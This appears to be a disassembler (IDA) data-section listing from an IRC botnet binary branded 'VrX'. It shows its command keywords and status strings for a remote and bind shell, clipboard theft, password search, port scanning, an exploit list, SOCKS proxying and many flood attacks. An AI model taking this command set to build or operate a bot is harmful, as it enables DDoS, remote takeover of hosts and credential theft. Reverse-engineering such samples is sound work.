		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
dword_42BC58	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C04o
aFailedToSta_18	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42BC94	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2B95o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42BCBC	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2AE2o
dword_42BCCC	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2ADDo
dword_42BCD8	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2ACAo
dword_42BCE8	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2AC5o
unk_42BCF8	db    3			; DATA XREF: sub_401ACD+2A52o
a81VrxReconne_1	db '8,1-VrX- Reconnecting.',0
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404512o
					; sub_401ACD:loc_409570o ...
		align 4
unk_42BD28	db    3			; DATA XREF: sub_401ACD+2A30o
a81VrxDisconnec	db '8,1-VrX- Disconnecting.',0
		align 4
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044F0o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044DAo
					; sub_401ACD+78C1o
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+29FBo
		align 4
unk_42BD78	db    3			; DATA XREF: sub_401ACD+29D4o
a81VrxStatusRea	db '8,1-VrX- Status: Ready. Bot Uptime: %s.',0
		align 4
unk_42BDA4	db    3			; DATA XREF: sub_401ACD+2995o
a81VrxBotIdS_	db '8,1-VrX- Bot ID: %s.',0
		align 4
unk_42BDBC	db  2Dh	; -		; DATA XREF: sub_401ACD+2986o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_19	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42BDF8	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+2917o
		dd 65726874h, 2E736461h, 0
dword_42BE18	dd 627573h		; DATA XREF: sub_401ACD+28F1o
unk_42BE1C	db    3			; DATA XREF: sub_401ACD+289Fo
a81VrxAliasList	db '8,1-VrX- Alias list.',0
		align 4
unk_42BE34	db  2Dh	; -		; DATA XREF: sub_401ACD+2884o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_20	db '- Failed to start listing thread, error: <%d>.',0
dword_42BE6C	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2815o
		dd 2E676Fh
unk_42BE84	db    3			; DATA XREF: sub_401ACD+276Do
a81VrxNetworkIn	db '8,1-VrX- Network Info.',0
unk_42BE9C	db    3			; DATA XREF: sub_401ACD+273Eo
a81VrxSystemInf	db '8,1-VrX- System Info.',0
		align 4
unk_42BEB4	db    3			; DATA XREF: sub_401ACD+26E9o
a81VrxRemovingB	db '8,1-VrX- Removing Bot.',0
unk_42BECC	db  2Dh	; -		; DATA XREF: sub_401ACD+26CDo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_21	db ' Failed to start listing thread, error: <%d>.',0
		align 4
dword_42BF08	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+2658o
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+2638o
		align 4
unk_42BF2C	db  2Dh	; -		; DATA XREF: sub_401ACD+25D9o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_2	db ' Already running.',0
		align 4
unk_42BF4C	db    3			; DATA XREF: sub_401ACD+2588o
a81VrxUptimeS_	db '8,1-VrX- Uptime: %s.',0
		align 4
unk_42BF64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F8Ao
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42BF84	db  2Dh	; -		; DATA XREF: sub_401ACD+24B6o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42BFAC	db  2Dh	; -		; DATA XREF: sub_401ACD+249Ao
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
unk_42BFD8	db    3			; DATA XREF: sub_401ACD+2484o
a81VrxGetClipbo	db '8,1-VrX- Get Clipboard.',0
		align 4
dword_42BFF4	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+2456o
		dd 2Dh
unk_42C00C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F13o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
unk_42C038	db  2Dh	; -		; DATA XREF: sub_401ACD+243Fo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42C05C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403EE8o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_42C088	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403EE1o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42C0B4	db  2Dh	; -		; DATA XREF: sub_401ACD+240Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_42C0D8	db  2Dh	; -		; DATA XREF: sub_401ACD+23BAo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_22	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42C114	db  2Dh	; -		; DATA XREF: sub_401ACD+234Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C150	db  2Dh	; -		; DATA XREF: sub_401ACD+2265o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_23	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C18C	db  2Dh	; -		; DATA XREF: sub_401ACD+21FAo
					; sub_40BD91+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C1C8	db  2Dh	; -		; DATA XREF: sub_401ACD+20F3o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C204	db  2Dh	; -		; DATA XREF: sub_401ACD+2084o
					; sub_40BD91+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_42C238	db  2Dh	; -		; DATA XREF: sub_401ACD+1FCFo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
unk_42C258	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403A86o
		db 3, 34h, 2
		db  4Dh	; M
		db 61h,	2 dup(53h)
		db  20h
		db 53h,	63h, 41h
		db  6Eh	; n
		db 2, 3, 2Dh
aFailedToSta_25	db ' Failed to start scan, port is invalid.',0
unk_42C290	db  2Dh	; -		; DATA XREF: sub_401ACD+1F6Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_26	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42C2CC	db  2Dh	; -		; DATA XREF: sub_401ACD+1EFBo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanStart	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1ED0o
					; sub_401ACD+5B20o
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1EC9o
					; sub_401ACD+5B19o
		align 4
dword_42C34C	dd 234032Dh, 3025A56h	; DATA XREF: sub_401ACD+1D0Fo
aAlreadyDScanni	db '- Already %d scanning threads. Too many specified.',0
		align 4
unk_42C388	db  2Dh	; -		; DATA XREF: sub_401ACD+1CB2o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_27	db 'Failed to start search thread, error: <%d>.',0
unk_42C3C4	db  2Dh	; -		; DATA XREF: sub_401ACD+1C38o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1BEFo
		align 10h
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1BDEo
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+1BC8o
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1BB1o
		align 4
aAs		db 'as',0               ; DATA XREF: sub_401ACD+1B9Co
		align 10h
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+1B87o
unk_42C444	db    3			; DATA XREF: sub_401ACD+1B37o
a81VrxCrashingB	db '8,1-VrX- Crashing bot.',0
aShitycrash	db 'shitycrash',0       ; DATA XREF: sub_401ACD+1B21o
					; sub_401ACD+1B71o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B0Co
		align 10h
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1AF7o
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1AE2o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1ACDo
		align 10h
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1AB8o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1AA3o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1A8Eo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1A79o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1A64o
		align 10h
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1A4Fo
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A3Ao
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A25o
		align 10h
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A10o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+19FBo
unk_42C4EC	db  2Dh	; -		; DATA XREF: sub_401ACD+19BDo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+19A2o
					; sub_401ACD+3C81o ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+198Eo
		align 10h
unk_42C520	db    3			; DATA XREF: sub_401ACD+196Eo
a81VrxLoginList	db '8,1-VrX- Login list complete.',0
		align 10h
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1939o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_4033F9o
dword_42C550	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+1902o
dword_42C564	dd 6F6877h		; DATA XREF: sub_401ACD+18E5o
dword_42C568	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+18DAo
dword_42C574	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+18D5o
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+18BCo
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+18A7o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+1892o
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+187Do
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+1868o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+1853o
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+183Eo
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1829o
		align 10h
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+1814o
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+17FFo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+17EAo
		align 4
aKosomaky4d	db 'KOSOMAKY4D',0       ; DATA XREF: sub_401ACD+17C0o
					; sub_401ACD+17D5o
		align 10h
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17ABo
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+1796o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+1781o
		align 10h
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+176Co
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1757o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1742o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+172Do
		align 4
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1718o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1703o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+16EEo
aT:					; DATA XREF: sub_401ACD+16D9o
					; ___:00438AFCo
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16C4o
unk_42C628	db    3			; DATA XREF: sub_401ACD+1690o
a81VrxFailedToR	db '8,1-VrX- Failed to reboot system.',0
		align 4
unk_42C64C	db    3			; DATA XREF: sub_401ACD+1689o
a81VrxRebooting	db '8,1-VrX- Rebooting system.',0
aR3start	db 'r3start',0          ; DATA XREF: sub_401ACD+1672o
aI:					; DATA XREF: sub_401ACD+165Do
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1648o
		align 4
aS_0:					; DATA XREF: sub_401ACD+1633o
					; ___:00438B4Co
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+161Eo
		align 4
aQ:					; DATA XREF: sub_401ACD+1609o
					; ___:off_438768o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+15F4o
		align 10h
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+15DFo
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15CAo
		align 10h
aR:					; DATA XREF: sub_401ACD+15B5o
					; sub_401ACD+3D8Eo ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15A0o
		align 10h
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+158Bo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+1576o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1561o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+154Co
		align 10h
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1537o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1522o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+150Do
		align 10h
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+14F8o
		align 4
dword_42C70C	dd 312C3803h, 4043532Dh, 2D4Eh ; DATA XREF: sub_401ACD+14EDo
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+14E8o
		align 10h
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14CFo
		align 4
dword_42C72C	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14C4o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14BFo
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14A6o
		align 10h
dword_42C750	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+149Bo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+1496o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+147Do
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1468o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1453o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+143Eo
		align 10h
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1429o
		align 10h
dword_42C7A0	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+141Eo
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+1400o
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+13D7o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13AEo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+1385o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+135Co
unk_42C7E8	db  2Dh	; -		; DATA XREF: sub_401ACD+1342o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42C81C	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1307o
					; sub_401ACD+13A3o
dword_42C82C	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1302o
					; sub_401ACD+139Eo
dword_42C83C	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+12E9o
					; sub_401ACD+137Ao
dword_42C84C	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+12E4o
					; sub_401ACD+1375o
dword_42C85C	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+1289o
					; sub_401ACD+13F5o
dword_42C868	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1284o
					; sub_401ACD+13F0o
dword_42C874	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+126Bo
					; sub_401ACD+13CCo
dword_42C880	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1266o
					; sub_401ACD+13C7o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1206o
		align 4
dword_42C898	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+11FBo
					; sub_401ACD+12C8o
dword_42C8A4	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+11F6o
					; sub_401ACD+12C3o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+11DDo
		align 4
dword_42C8BC	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+11D2o
					; sub_401ACD+12AAo
dword_42C8CC	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11CDo
					; sub_401ACD+12A5o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11B4o
		align 4
dword_42C8E8	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11A9o
					; sub_401ACD+1328o
dword_42C8F8	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11A4o
					; sub_401ACD+1323o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+118Bo
		align 4
dword_42C914	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+1180o
					; sub_401ACD+124Ao
dword_42C920	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+117Bo
					; sub_401ACD+1245o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1162o
dword_42C934	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1157o
					; sub_401ACD+122Co
dword_42C940	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1152o
					; sub_401ACD+1227o
dword_42C94C	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1139o
dword_42C958	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+112Eo
dword_42C968	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1129o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+1110o
		align 4
dword_42C988	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1105o
dword_42C994	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+1100o
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+10E7o
dword_42C9A8	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+10DCo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10BEo
		align 4
dword_42C9C4	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10B3o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+1095o
		align 10h
dword_42C9E0	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+108Ao
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+106Co
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401ACD+1057o
		align 10h
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1042o
		align 4
dword_42CA08	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1037o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+1032o
					; sub_401ACD+1085o ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1019o
		align 4
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+1004o
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+FEFo
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FDAo
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FC5o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FB0o
					; sub_401ACD+2D26o
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+F9Bo
					; sub_401ACD+2D15o
		align 4
aSt		db 'st',0               ; DATA XREF: sub_401ACD+F86o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F71o
		align 4
aRz		db 'rz',0               ; DATA XREF: sub_401ACD+F5Co
		align 4
aRulez		db 'rulez',0            ; DATA XREF: sub_401ACD+F47o
		align 10h
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F32o
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F1Do
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F08o
		align 10h
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+EF3o
		align 4
aDi3		db 'di3',0              ; DATA XREF: sub_401ACD+EC9o
					; sub_401ACD+EDEo
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+EB4o
		align 10h
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+E9Co
a63		db '63',0               ; DATA XREF: sub_401ACD+D69o
		align 4
asc_42CAAC:				; DATA XREF: sub_401ACD+D41o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D04o
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+CF9o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+CE8o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CCCo
		align 4
aUser_1		db '$user',0            ; DATA XREF: sub_401ACD+CBBo
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CA9o
aD		db '$%d',0              ; DATA XREF: sub_401ACD+C3Bo
aD_0		db '$%d-',0             ; DATA XREF: sub_401ACD+B77o
		align 4
aK:					; DATA XREF: sub_401ACD+A9Fo
					; sub_401ACD+3DBCo
		unicode	0, <k>,0
aC:					; DATA XREF: sub_401ACD+A87o
					; sub_401ACD+4AA4o
		unicode	0, <c>,0
unk_42CAF4	db  2Dh	; -		; DATA XREF: sub_401ACD+A64o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
unk_42CB28	db  2Dh	; -		; DATA XREF: sub_401ACD+A53o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_42CB58	db  2Dh	; -		; DATA XREF: sub_401ACD+A42o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_28	db '- Failed to start chat thread, error: <%d>.',0
		align 10h
unk_42CB90	db  2Dh	; -		; DATA XREF: sub_401ACD+9D3o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 10h
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+93Co
		align 4
unk_42CBB8	db  2Dh	; -		; DATA XREF: sub_401ACD+91Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42CBFC	db  2Dh	; -		; DATA XREF: sub_401ACD+904o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_29	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42CC38	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+8F3o
		dd 0A0Dh
dword_42CC50	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8BFo
dword_42CC58	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8B4o
		dd 0D017325h, 0Ah
dword_42CC74	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+883o
dword_42CC80	dd 23h			; DATA XREF: sub_401ACD+7FAo
					; sub_40CD43+1Bo
unk_42CC84	db  2Dh	; -		; DATA XREF: sub_401ACD+769o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+6EAo
					; sub_401ACD+979o ...
		align 4
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6C3o
		align 10h
dword_42CCC0	dd 43434401h, 0		; DATA XREF: sub_401ACD+6A5o
dword_42CCC8	dd 323333h		; DATA XREF: sub_401ACD+62Fo
					; sub_401ACD+AC1o ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+60Do
					; sub_409869+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+601o
					; sub_409869+16o
